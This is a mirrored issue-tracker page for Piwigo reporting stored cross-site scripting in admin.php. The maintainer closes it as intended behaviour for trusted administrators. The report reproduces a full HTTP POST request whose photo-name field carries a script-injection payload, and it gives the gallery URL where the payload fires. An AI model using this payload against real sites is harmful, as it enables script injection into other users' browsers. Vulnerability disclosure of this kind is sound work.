adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-31 06:02:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Bug Report: Stored cross site scripting(XSS) in admin.php #665

New Issue
Closed
opened 2026-10-05 00:10:17 +02:00 by adam · 1 comment
adam commented 2026-10-05 00:10:17 +02:00
Owner
Copy link
Copy source

1.Change the image information to xss payload:
0

http packet:

POST /Piwigo/admin.php?page=photo-4 HTTP/1.1
Host: 127.0.0.1
Content-Length: 156
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/Piwigo/admin.php?page=photo-4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=efb20fpih3ej69adj8ljiblb34
Connection: close

name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&author=&date_creation=&associate%5B%5D=2&description=&level=0&submit=%E5%84%B2%E5%AD%98%E8%A8%AD%E5%AE%9A

2.To view the url:
http://192.168.0.109/Piwigo/index.php?/category/2

0

  • # Evironment:

Windows XP Professional

Apache

MySQL

PHP 5.4.45

discovered by: mstteam(gh0stkey)

1.Change the image information to xss payload: ![0](https://user-images.githubusercontent.com/24655118/27510237-1f2c0a06-593f-11e7-8fe0-8e0ba40d7cba.jpg) http packet: POST /Piwigo/admin.php?page=photo-4 HTTP/1.1 Host: 127.0.0.1 Content-Length: 156 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://127.0.0.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://127.0.0.1/Piwigo/admin.php?page=photo-4 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: pwg_id=efb20fpih3ej69adj8ljiblb34 Connection: close name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&author=&date_creation=&associate%5B%5D=2&description=&level=0&submit=%E5%84%B2%E5%AD%98%E8%A8%AD%E5%AE%9A 2.To view the url: http://192.168.0.109/Piwigo/index.php?/category/2 ![0](https://user-images.githubusercontent.com/24655118/27510331-a50a28b4-5940-11e7-9225-a75bff2d28ff.png) - **# Evironment:** Windows XP Professional Apache MySQL PHP 5.4.45 discovered by: mstteam(gh0stkey) <!-- github-sync-id:238328712 -->
adam closed this issue 2026-10-05 00:10:17 +02:00
adam commented 2026-10-05 00:10:18 +02:00
Author
Owner
Copy link
Copy source

It's not a bug, it's a feature: an administrator can include HTML (thus javascript) in photo title, description... Administrators are "trusted" users.

It's not a bug, it's a feature: an administrator can include HTML (thus javascript) in photo title, description... Administrators are "trusted" users. <!-- github-comment-id:310993578 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#665